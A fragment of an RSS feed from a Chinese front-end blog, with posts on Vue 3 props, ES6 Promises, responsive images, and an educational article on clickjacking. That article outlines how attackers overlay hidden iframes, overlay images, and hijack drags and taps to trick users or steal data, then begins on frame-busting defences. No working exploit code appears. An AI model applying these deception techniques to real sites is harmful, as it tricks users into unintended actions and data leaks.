&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这几个例子需要花点时间仔细感受一下，如果你暂时没想明白怎么回事，也不用着急，我们一点一点来分析。&lt;/p&gt;</description></item><item><title>组件通信</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-008/</link><pubDate>Fri, 04 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-008/</guid><description>&lt;h2 id="vue3-组件通信方式"&gt;Vue3 组件通信方式&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;props&lt;/li&gt;
&lt;li&gt;$emit&lt;/li&gt;
&lt;li&gt;expose / ref&lt;/li&gt;
&lt;li&gt;$attrs&lt;/li&gt;
&lt;li&gt;v-model&lt;/li&gt;
&lt;li&gt;provide / inject&lt;/li&gt;
&lt;li&gt;Vuex&lt;/li&gt;
&lt;li&gt;mitt&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="vue3-通信使用写法"&gt;Vue3 通信使用写法&lt;/h2&gt;
&lt;h3 id="1-props"&gt;1. props&lt;/h3&gt;
&lt;p&gt;用 props 传数据给子组件有两种方法，如下&lt;/p&gt;
&lt;p&gt;方法一，setup() 方法写法&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// Parent.vue 传送
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;child&lt;/span&gt; &lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;msg1&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;msg1&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;msg2&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;msg2&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/child&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;script&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;child&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;./child.vue&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;ref&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;reactive&lt;/span&gt; } &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;vue&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;default&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;msg1&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;这是传级子组件的信息1&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;setup&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 创建一个响应式数据
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 写法一 适用于基础类型 ref 还有其他用处，下面章节有介绍
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;msg2&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ref&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;这是传级子组件的信息2&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 写法二 适用于复杂类型，如数组、对象
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;msg2&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;reactive&lt;/span&gt;([&lt;span style="color:#e6db74"&gt;&amp;#34;这是传级子组件的信息2&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;msg2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// Child.vue 接收
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;script&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;default&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;msg1&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;msg2&amp;#34;&lt;/span&gt;],&lt;span style="color:#75715e"&gt;// 如果这行不写，下面就接收不到
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;setup&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// { msg1:&amp;#34;这是传给子组件的信息1&amp;#34;, msg2:&amp;#34;这是传给子组件的信息2&amp;#34; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;方法二，setup 语法糖&lt;/p&gt;</description></item><item><title>Promise</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/es6/promise/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/es6/promise/</guid><description>&lt;p&gt;Promise 是在 ES6 出现的新功能，并且是用来优化过去回调函式 callback 的写法。这篇面试详解中会讨论到， promise 是什么、为什么需要有 Promise，以及延伸到 async/await 相关问题。&lt;/p&gt;
&lt;h2 id="为什么要使用-promise"&gt;为什么要使用 Promise？&lt;/h2&gt;
&lt;p&gt;在探讨 Promise 之前，我们先来看一下为什么需要它的出现。&lt;/p&gt;
&lt;p&gt;JavaScript 中有一个重要概念 - 异步 (async)，它允许我们在执行耗时任务时，不必等待程式完成，而是继续执行下面的代码，直到任务完成再通知。常用的异步操作有：文件操作、数据库操作、AJAX 以及定时器等。&lt;/p&gt;
&lt;p&gt;JavaScript 有两种实现异步的方式：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一种：回调函式 callback function&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在 ES6 promise 出现之前，通常使用回调函式 (callback) 实现异步操作。但使用回调函式 callback 存在一个明显的缺点，当需要执行多个异步操作时，代码会不断往内嵌套，这种情况通常被称为「callback 地狱」(callback hell)。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;callback&lt;/span&gt;(() =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Hello!&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;callback&lt;/span&gt;(() =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Hello!&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;callback&lt;/span&gt;(() =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Hello!&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;callback&lt;/span&gt;(() =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Hello!&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }, &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }, &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }, &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}, &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;而为了解决这种问题，就出现了第二种方法 - promise。&lt;/p&gt;
&lt;h2 id="什么是-promise"&gt;什么是 Promise？&lt;/h2&gt;
&lt;p&gt;上一段提到 Promise 出现的原因，这一段我们来看那到底 Promise 是什么。&lt;/p&gt;</description></item><item><title>点击劫持</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/security/security-008/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/security/security-008/</guid><description>&lt;h2 id="一简介"&gt;一、简介&lt;/h2&gt;
&lt;p&gt;点击劫持是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的iframe,覆盖在一个网页上，然后诱使用户在该网页上进行操作，此时用户在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置，可以诱使用户恰好点击在iframe页面的一些功能性按钮上。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/security-008/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;虽然受害者点击的是他所看到的网页，但其实他所点击的是被&lt;strong&gt;黑客精心构建的另一个置于原网页上面的透明页面&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Clickjacking 是仅此于 XSS 和 CSRF 的前端漏洞，因为需要诱使用户交互，攻击成本高，所以不被重视，但危害不容小觑。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;点击劫持的步骤&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;黑客创建一个网页利用 iframe 包含目标网站；&lt;/li&gt;
&lt;li&gt;隐藏目标网站，使用户无法无法察觉到目标网站存在；&lt;/li&gt;
&lt;li&gt;构造网页，诱变用户点击特点按钮；&lt;/li&gt;
&lt;li&gt;用户在不知情的情况下点击按钮，触发执行恶意网页的命令；&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="二劫持类型"&gt;二、劫持类型&lt;/h2&gt;
&lt;h3 id="21-flash点击劫持"&gt;2.1 Flash点击劫持&lt;/h3&gt;
&lt;p&gt;攻击者通过flash构造了点击劫持，在完成一系列复杂的动作后，最终控制了用户的摄像头。&lt;/p&gt;
&lt;p&gt;攻击者制作了一个Flash游戏，这个游戏就是让用户去点击“CLICK”按钮，每次点击后这个按钮的位置都会发生变化。在Flash上面隐藏了一个看不见的iframe，游戏中某些点击时是有意义的，有些点击是无效的。 攻击通过诱导用户鼠标点击就能完成较复杂的动作。最终通过这一步步操作，打开了用户的摄像头。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/security-008/image-02.webp"&gt; &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/security-008/image-03.webp"&gt;&lt;/p&gt;
&lt;h3 id="22-图片覆盖攻击"&gt;2.2 图片覆盖攻击&lt;/h3&gt;
&lt;p&gt;点击劫持是一种视觉上的欺骗手段。那么图片覆盖也可以起到类似的作用。简称XSIO（Cross Site Image Overlaying）&lt;/p&gt;
&lt;p&gt;&lt;em&gt;原理：&lt;/em&gt; 利用的是图片的style,或者能够控制CSS。如果应用没有限制style的position为absolute的话，图片可以覆盖到页面上的任意位置。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;img&lt;/span&gt; &lt;span style="color:#f92672"&gt;style&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;position: absolute; left: 100px; top: 100px&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;用户点击图片，就会链接到其他网站。&lt;/p&gt;
&lt;p&gt;图片还可以伪装得像一个正常的链接、按钮；或者在图片中构造一些文字，覆盖在关键的位置，就有可能完全改变页面中想表达的意思。这种情况下，不需要用户点击，也能达到欺骗的目的。&lt;/p&gt;
&lt;p&gt;由于img标签在很多系统中是对用户开放的，因此在现实生活中有非常多的站点存在在XSIO攻击的可能。在防御XSIO时，需要检查用户提交的HTML代码中，img标签的style属性是否可能导致浮出。&lt;/p&gt;
&lt;h3 id="23-拖拽劫持与数据窃取"&gt;2.3 拖拽劫持与数据窃取&lt;/h3&gt;
&lt;p&gt;目前，许多浏览器都开始支持Drag和Drop的API。对于用户来说，拖拽使他们的操作更加简单。浏览器中的拖拽对象可以是一个链接，也可以是一段文字，还可以从一个窗口拖拽到另一个窗口，因此拖拽是_不受同源策略限制_的。&lt;/p&gt;
&lt;p&gt;拖拽劫持的思路是诱使用户从隐藏不可见iframe中拖拽出攻击者希望得到的数据，然后放到攻击者能控制的另外一个页面，从而窃取数据。在JavaScript的支持下，这个攻击过程会变得非常隐蔽，因为它突破了传统ClickJacking一些先天的局限，所以这种新型的拖拽劫持能够造成更大的破坏。&lt;/p&gt;
&lt;h3 id="24-clickjacking30触屏劫持"&gt;2.4 ClickJacking3.0：触屏劫持&lt;/h3&gt;
&lt;p&gt;智能手机的 &lt;em&gt;触屏劫持&lt;/em&gt; 攻击被斯坦福的&lt;a href="http://seclab.stanford.edu/websec/framebusting/tapjacking.pdf"&gt;安全研究者公布&lt;/a&gt;，这意味着ClickJacking的攻击方式更进一步，斯坦福安全研究者的将其称为TapJacking。&lt;/p&gt;
&lt;p&gt;从手机角度来看，触屏实际上就是一个事件，手机捕捉这些事件，并执行相应的动作。 常见的几个事件：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-makefile" data-lang="makefile"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;touchstart&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; 手指触摸屏幕时发生
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;touchend&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; 手指离开屏幕时发生
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;touchmove&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; 手指滑动时发生
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;touchcancel&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; 系统可取消touch事件
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;将一个不可见的iframe覆盖到当前网页上，就可以劫持用户的触屏操作。&lt;/p&gt;
&lt;p&gt;在未来，随着移动设备中浏览器功能的丰富，我们会看到更多的TapJacking&lt;/p&gt;
&lt;h2 id="三防御"&gt;三、防御&lt;/h2&gt;
&lt;h3 id="31-防御clickjacking"&gt;3.1 防御ClickJacking&lt;/h3&gt;
&lt;h4 id="311-frame-busting"&gt;3.1.1 frame busting&lt;/h4&gt;
&lt;p&gt;通过可以写一段JavaScript代码，以禁止iframe的嵌套。这种方法叫作frame busting。比如&lt;/p&gt;</description></item><item><title>响应式图片</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-008/</link><pubDate>Fri, 27 Sep 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-008/</guid><description>&lt;p&gt;响应式是指实现不同屏幕分辨率的终端上浏览网页的不同展示方式。&lt;/p&gt;
&lt;p&gt;本知识点的主要内容有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;为什么要使用响应式图片&lt;/li&gt;
&lt;li&gt;怎么实现响应式图片&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="1为什么要使用响应式图片"&gt;1、为什么要使用响应式图片&lt;/h2&gt;
&lt;p&gt;假如有一张图片的显示宽度为200px，那么，它在 &lt;code&gt;1x&lt;/code&gt;（即设备像素比为 1 的显示器） 的显示器上，是占了 200 个物理像素（即实际所占的像素）；它在 &lt;code&gt;2x&lt;/code&gt; 的显示器上，实际上是占了 400 个物理像素；在 &lt;code&gt;3x&lt;/code&gt; 的显示器上，实际上是占了 600 个物理像素；在 &lt;code&gt;4x&lt;/code&gt; 的显示器上就是占了 800 个物理像素。&lt;/p&gt;
&lt;p&gt;如果这个图片只提供 200 像素的尺寸，那么在 &lt;code&gt;2x~4x&lt;/code&gt; 的显示器上看起来就很模糊。如果只提供 800 像素的版本，那么在 &lt;code&gt;1x~3x&lt;/code&gt; 的设备上会显得多余，因为加载时间会相较长，所以我们要使用响应式图片。&lt;/p&gt;
&lt;p&gt;再比如一个场景，相同的banner，在电脑上需要使用大图，但是手机上面使用小图，不然会造成手机上加载慢浪费流量等问题，这也可以使用响应式图片来解决。&lt;/p&gt;
&lt;h2 id="2实现方法"&gt;2、实现方法&lt;/h2&gt;
&lt;h3 id="css3-media-query"&gt;css3 media query&lt;/h3&gt;
&lt;p&gt;一个办法是使用&lt;code&gt;backgound-image&lt;/code&gt;结合媒体查询，如下所示：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.banner&lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; background-image: url&lt;span style="color:#f92672"&gt;(&lt;/span&gt;/static/large.jpg&lt;span style="color:#f92672"&gt;)&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;@media screen and &lt;span style="color:#f92672"&gt;(&lt;/span&gt;max-width: 767px&lt;span style="color:#f92672"&gt;){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; background-image: url&lt;span style="color:#f92672"&gt;(&lt;/span&gt;/static/small.jpg&lt;span style="color:#f92672"&gt;)&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这种方法的缺点是对SEO不太友好，因为如果使用img标签还可以写个alt属性。&lt;/p&gt;
&lt;h3 id="picture标签"&gt;picture标签&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;picture&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;source&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;srcset&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;banner_w1000.jpg&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;media&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;(min-width: 801px)&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;source&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;srcset&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;banner_w800.jpg&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;media&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;(max-width: 800px)&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;img&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;banner_w800.jpg&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;alt&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;picture&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;如上，如果页面宽度大于800px（PC），则加载大图，而在手机上加载小图。这样写浏览器就只会加载source里面的一张图片。但是如果是用js动态插进去的，它还是会去加载两张，只有写在html里面加载初始化页面的时候才只加载一张。&lt;/p&gt;
&lt;p&gt;picture必须要写img标签，否则无法显示，对picture的操作最后都是在img上面，例如onload事件是在img标签触发的，picture和source是不会进行layout的，它们的宽和高都是0。&lt;/p&gt;
&lt;p&gt;另外使用source，还可以对图片格式做一些兼容处理：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;picture&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;source type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;image/webp&amp;#34;&lt;/span&gt; srcset&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;banner.webp&amp;#34;&lt;/span&gt;&amp;gt;
